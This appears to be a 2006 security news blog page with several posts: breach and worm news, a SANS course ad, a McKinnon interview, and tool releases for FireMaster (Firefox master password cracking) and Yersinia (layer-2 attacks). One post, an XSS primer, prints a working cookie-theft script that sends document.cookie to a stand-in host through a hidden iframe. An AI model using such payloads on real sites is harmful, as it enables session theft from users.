Darknet - The Darkside

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27 June 2006 | 4,009 views

SANS Gateway Asia 2006

Don't let a Dragon into your website!

Forgot to post this earlier. I received this email from SANS Institute sometime in April. They seem to be having two of their training sessions in singapore in August. Those who live in Asia or anywhere near the region and are interested can look it up. SANS Institute has one of the best trainers and also very good training materials.

Dear [Insert name here],

Please join us as we present SANS Gateway Asia 2006 in Singapore on August 14th-19th! We are partnering with Fusion Frontier Pte Ltd to present two of SANS most popular courses:

* Security 401: SANS Security Essentials Bootcamp Style
* Security 504: Hacker Techniques, Exploits & Incident Handling

With attackers leveraging huge numbers of hosts to overwhelm common defense mechanisms it is vital that we defend our organization’s resources and networks. This means being educated about current threats and vulnerabilities and how to combat them. Let SANS help you get up
to speed fast!

In Security 401, Bob Hillery will cover the survival skills an information security team member needs. This program prepares you for GSEC certification and helps accelerate your career in security. Security 401 is also a requirement for the MSISE advanced degree from the SANS Technology Institute.

In Security 504, George Bakos will teach you to detect malicious code and respond on the fly. You’ll learn how your networks appear to hackers, how they gain access with special emphasis on the newer attack vectors, and what they do when they get in – especially in manipulating the system to hide their work. You’ll master the proven six-step process of incident handling so you are prepared to be the technical leader of the incident handling team. This course prepares you for GCIH certification and is a requirement for both the MSISE and MSISM advanced degrees from the SANS Technology Institute

Classes will be held at the Swissotel Merchant Court Hotel Singapore where special hotel rates have been arranged for SANS attendees. Convenient to the airport and transit, close to Singapore’s best attractions, and located along the banks of the Singapore River – you’re sure to enjoy your stay here and get the most out of your training!

So join us in the battle for a secure global Internet community by registering today for SANS Gateway Asia 2006! We guarantee that you will return to work with practical, relevant knowledge and skills you can use immediately to secure your organization’s critical resources.

To register, please go to:
http://www.sans.org/gateway_asia2006/

Discounts are available for early registration, so don’t delay

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26 June 2006 | 5,080 views

US Veterans Information Leaked on The Web

Another HUGE information leak from the US government, seems they can’t help themselves.

Or perhaps people are just ramping up the efforts against them..

The Navy has begun a criminal investigation after Social Security numbers and other personal data for 28,000 sailors and family members were found on a civilian website.

The Navy said Friday the information was in five documents and included people’s names, birth dates and Social Security numbers. Navy spokesman Lt. Justin Cole would not identify the website or its owner, but said the information had been removed. He would not provide any details about how the information ended up on the site.

They really need to step up their standards and training, and of course use some kind of file based or filesystem encryption, a stolen laptop shouldn’t yeild so much information.

The breach regarding the Navy comes amid a rash of government computer data thefts, including one at the Agriculture Department earlier this week in which a hacker may have obtained names, Social Security numbers and photos of 26,000 Washington-area employees and contractors.

As many as 26.5 million veterans and current military troops may have been affected by the theft of a laptop computer containing their Social Security numbers and birth dates. The computer was taken from the home of a Veterans Affairs Department employee in early May, and officials waited nearly three weeks before notifying veterans on May 22 of the theft.

That’s a hell of a lot of people to be effected..

Source: Wired


25 June 2006 | 17,580 views

UFO ‘Hacker’ Gary McKinnon Reveals What He Found

An interesting interview had been posted on Wired with Gary McKinnon about what he actually found whilst penetrating the US government networks.

After allegedly hacking into NASA websites — where he says he found images of what looked like extraterrestrial spaceships — the 40-year-old Briton faces extradition to the United States from his North London home. If convicted, McKinnon could receive a 70-year prison term and up to $2 million in fines.

Final paperwork in the case is due this week, after which the British home secretary will rule on the extradition request.

McKinnon, whose extensive search through U.S. computer networks was allegedly conducted between February 2001 and March 2002, picked a particularly poor time to expose U.S. national security failings in light of the terror attacks of Sept. 11, 2001.

You can also search the Darknet archives for more news on Gary.

There are a couple of interesting parts, but it all sounds rather X-Files..

WN: Did you find anything in your search for evidence of UFOs?

McKinnon: Certainly did. There is The Disclosure Project. This is a book with 400 testimonials from everyone from air traffic controllers to those responsible for launching nuclear missiles. Very credible witnesses. They talk about reverse-(engineered) technology taken from captured or destroyed alien craft.

Shame he was on 56k aswell, or we might have gotten some good stuff!

WN: What sort of evidence?

McKinnon: A NASA photographic expert said that there was a Building 8 at Johnson Space Center where they regularly airbrushed out images of UFOs from the high-resolution satellite imaging. I logged on to NASA and was able to access this department. They had huge, high-resolution images stored in their picture files. They had filtered and unfiltered, or processed and unprocessed, files.

My dialup 56K connection was very slow trying to download one of these picture files. As this was happening, I had remote control of their desktop, and by adjusting it to 4-bit color and low screen resolution, I was able to briefly see one of these pictures. It was a silvery, cigar-shaped object with geodesic spheres on either side. There were no visible seams or riveting. There was no reference to the size of the object and the picture was taken presumably by a satellite looking down on it. The object didn’t look manmade or anything like what we have created. Because I was using a Java application, I could only get a screenshot of the picture — it did not go into my temporary internet files. At my crowning moment, someone at NASA discovered what I was doing and I was disconnected.

I also got access to Excel spreadsheets. One was titled “Non-Terrestrial Officers.” It contained names and ranks of U.S. Air Force personnel who are not registered anywhere else. It also contained information about ship-to-ship transfers, but I’ve never seen the names of these ships noted anywhere else.

Interesting eh?

Source: Wired


24 June 2006 | 5,792 views

LiveJournal Advert Installs Malware

Seems like someone sneaked past the LiverJournal advertisers policy by only trying to infect Australian and European users.

A certain advertiser (kpremium.com) – being sneaky and underhanded. It’s not LJ’s fault, LJ already disabled the advert from rotation.

The ad itself is for a program that lets you download stuff – you know the sort of thing. The ad is a Flash ad, and masquerades as a banner ad.

Thing is, the Flash ad contains code to open a popup that leads to a very different destination – it’s what I assume is an affiliate link that attempts to download and install ErrorSafe on your computer.

Source: no_lj_ads

LJ have said they are looking into it.

It looks like one of our advertisers possibly managed to sneak past our ad guidelines. The kpremium ad is designed and targeted for people in Western Europe and Australia, and we’ve received reports from people in those regions, indicating that it’s doing obnoxious things with the browsers — shrinking the window and generating popups. (Many people mentioned “ErrorSafe” in

Source: lj_ads

Sneaky eh, all the more reason to use Firefox, Adblock Plus and NoScript!

Also keep your anti-virus software up to date just in case.


23 June 2006 | 13,241 views

Researchers hack Wi-Fi driver to breach laptop

Ah another way to exploit wifi, what a surprise!

Security researchers have found a way to seize control of a laptop computer by manipulating buggy code in the system’s wireless device driver.

The hack will be demonstrated at the upcoming Black Hat USA 2006 conference during a presentation by David Maynor, a research engineer with Internet Security Systems and Jon Ellch, a student at the U.S. Naval postgraduate school in Monterey, California.

Another good reason to go to Black Hat 2006! See our list of Security Conferences & Events here.

Hmm fuzzing device drivers, long and tedious, but often leads to a way in. Well come to think of it, fuzzing most things breaks them eventually.

Device driver hacking is technically challenging, but the field has become more appealing in recent years, thanks in part to new software tools that make it easier for less technically savvy hackers, known as script kiddies, to attack wireless cards, Maynor said in an interview.

The two researchers used an open-source 802.11 hacking tool called LORCON (Lots of Radion Connectivity) to throw an extremely large number of wireless packets at different wireless cards. Hackers use this technique, called fuzzing, to see if they can cause programs to fail, or perhaps even run unauthorized software when they are bombarded with unexpected data.

The scary thing is the victim doesnt need to connect to a network or anything, they just need to have the wireless device enabled and be in range, then boom hello! owned.

Source: Infoworld


22 June 2006 | 14,399 views

Cross Site Scripting (XSS)

Cross Site Scripting, or know as XSS, is the most common basic web hacking technique… and harmless, as many would say… but on this matter I don’t really agree, that’s why I wrote this article.

About
XSS as I knew it is a very abstract definition for JavaScript injection, or at least this is what I have thought until reading RSnake’s website [speak about it a bit later]…
In fact XSS is more than JavaScript injection, because we can modify a page entire structure through XSS, not only create some actions…
In a small definition: XSS=JavaScript+HTML

The Call Of Javascript
Even if XSS is more than just JavaScript, you will have to basically have some JavaScript knowledge before you can feel the real taste of cross site scripting. For the ones who don’t know JavaScript I recommend them http://www.javascript.com… After learning the basics of this wonderful scripting language, you will be ready to go…

Info: did I mention that Java script was developed by Netscape, and at the beginnings had the name LiteScript?

Posibilities
With XSS you can do “extreme” stuff.. let me explain you in a small amount of words what you can do…. the most simple thing is to redirect the current page to one you like… an illustrative example:

<script>
document.location=”http://what-page.you.want.com”;
</script>

Also you could do something like popping up the cookie:

<script>
alert(document.cookie);
</script>

And if you know a little php you could create a page that save’s data received via get and stores them in a file/database…

<script>
var theCookie = document.cookie;
document.write(‘<iframe width=\”1\” height=\”1\” style=\”visibiliy: hidden\” href=\”http://your.page.com/cookie.php?theCookie=’ +theCookie+ ‘\” ></iframe>’);
</script>

Also there are more possibilities with XSS, you just need some creativity…

More XSS
I have found a website where I have learned much about XSS… there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64… also the different types of attacks are shown on which browsers there are available… check out Rsnake’s page on XSS: ha.ckers.org/xss.html

Also a great XSS database can be found at: securityfocus


22 June 2006 | 8,529 views

Botnets and Phishing Numbers Increasing Despite Crackdown

Botnets and organises cybercrime is getting more prevalent, it seems it’s increasing exponentially despire crackdowns by the US governments and other organisations.

The criminals are getting more advanced, phishing scams are getting more realistic, technically trojans are getting more effective and the groups are getting really organised.

Cybercrooks are organizing better and moving to more sophisticated tactics to get their hands on confidential data and turn PCs of unwitting users into bots, representatives from the U.S. Department of Justice and the U.S. Air Force Office of Special Investigations said in separate presentations here at the Computer Security Institute’s NetSec event this week.

Law enforcement has had increased successes in catching, prosecuting and convicting phishers and bot herders over the past couple of years. However, catching the bad guys is getting tougher as the criminals become more professional, the representatives said.

The success rate has increased, but the incident rate has increased even higher.

Cybercriminals are often after data they can turn into cash, such as credit card numbers or even trade secrets. “If you have a smaller botnet and you combine that with targeted, really sophisticated social engineering tactics, you’re going to be potentially a lot more successful,” Whitmore said.

The military has seen a rise in such attacks over the last couple of years, Whitmore said. The attackers know what organizations work together, which generals would be involved and what issues they would talk about, she said. It’s “incredibly disturbing, because those are the kinds of things that should be kept somewhat secret,” she said.

The money is in attacking the consumers now, it might be for your credit card details or just your bandwidth to launch DDoS attacks as a way of extorting money from companies.

Either way it seems the paradigm has truly shifted, and attacking corporates is not the way to get the big money.

Source: CNET


22 June 2006 | 46,536 views

FireMaster 2.1 – A Firefox Master Password Recovery Tool

FireMaster version 2.1 has been released with its new features and new speed.

Firemaster is the Firefox master password recovery tool. If you have forgotten the master password, then using FireMaster you can find out the master password and get back your lost signon information. It uses various methods such as dictionary, hybrid and brute force techniques to recover the master password from the firefox key database file.

Since its initial release in Jan 1, 2006 its speed has increased exponentially and currently it is operating at a speed of 50,000 passwords/sec to 100,000 passwords/sec depending upon low end or high end machine.

How it Works?

There is no way to recover the master password as it is not stored at all. Firemaster uses the same technique which has been used by firefox to check if the master password is correct, but in more optimized way. The entire operation goes like this.

  • Firemaster generates passwords on the fly through various methods.
  • Then it computes the hash of the password using known algorithm.
  • Next this password hash is used to decrypt the known encrypted string for which plain text ( i.e. “password-check” ) is known.
  • Now if the decrypted string matches with known plain text ( i.e. “password-check” ) then the generated password is the master password.

Firefox stores the details about encrypted string, salt, algorithm and version information in key database file key3.db in the user’s profile directory. So you can just copy this key3.db to different directory and specify the corresponding path to Firemaster. You can also copy this key3.db to any other high end machine for faster recovery operation.

More details are available here:

FireMaster


21 June 2006 | 18,659 views

Google’s Orkut Hit by Data Stealing Worm – Mw.Orc

So just a few days about there was a new MSN Worm – BlackAngel.B, before that the Yahoo! e-mail worm, long before that of course the MySpace worm and a few others not notable enough to mention.

And of course plenty of nasty Trojans.

A new Internet worm capable of stealing bank details and other personal data from users is circulating via Orkut, Google Inc.’s social networking service, a computer security company warned on Monday.

Instant-messaging service provider FaceTime Communications said its software security lab had detected the spread of the electronic virus, the third such threat to disseminate itself via messages posted on Orkut users personal Web pages.

Google’s service, while available globally, is wildly popular among Brazilians which make up the bulk of its users.

The malicious program, dubbed by FaceTime as “MW.Orc,” works its way onto users’ personal computers when they click on infected links on Orkut scrapbook pages. The link is followed by a message in Portuguese that entices the user to click.

It seems this is not the first time Orkut has been hit, this one however goes after personal details of a more valuable nature.

Once the link is activated, a file is uploaded to the PC, according to a description of how the worm works contained in a statement by the Foster City, California-based company.

When infected Orkut users using Microsoft Corp.’s widely used Windows XP operating system to find personal files on their PCs through their “My Computer” icon, that triggers an e-mail back to the creator of MW.Orc creator filled with personal information stored on the PC, FaceTime said.

The earlier attempt seemed to be more of a phishing affair.

The new threat to Orkut follows an earlier worm, Banker-BWD, which was uncovered by Sophos, an anti-virus company.

That malicious software also disseminated itself through Orkut’s scrapbook pages, but automatically transferred the victims to fake Web pages of banks in order to entice the users to enter personal data that can then be stolen by the hackers.

People are getting pretty handy with all this HTML worm business, I’m impressed.

Source: Reuters


21 June 2006 | 9,470 views

Yersinia 0.7 Released with 802.1x Support – Layer 2 Attack Framework

Yersinia is a network tool designed to take advantage of some weakeness in different network protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems.

It’s a very useful for any network based penetration testing or vulnerability assessment. There isn’t many tools working on Layer 2 and this is ‘the’ one.

Attacks for the following network protocols are implemented (but of course you are free for implementing new ones):

  • Spanning Tree Protocol (STP).
  • Cisco Discovery Protocol (CDP).
  • Dynamic Trunking Protocol (DTP).
  • Dynamic Host Configuration Protocol (DHCP).
  • Hot Standby Router Protocol (HSRP).
  • 802.1q.
  • Inter-Switch Link Protocol (ISL).
  • VLAN Trunking Protocol (VTP).

Details of the attacks here.

Yersinia version 0.7 with 802.1x support has just been release, in addition to this lots of bugfixes and a new GTK interface.

The entire core has been redeveloped to support easy addition of new protocols and attacks, and with the new GTK interface the tool is ready for the masses.

You can download it directly here:

Yersinia 0.7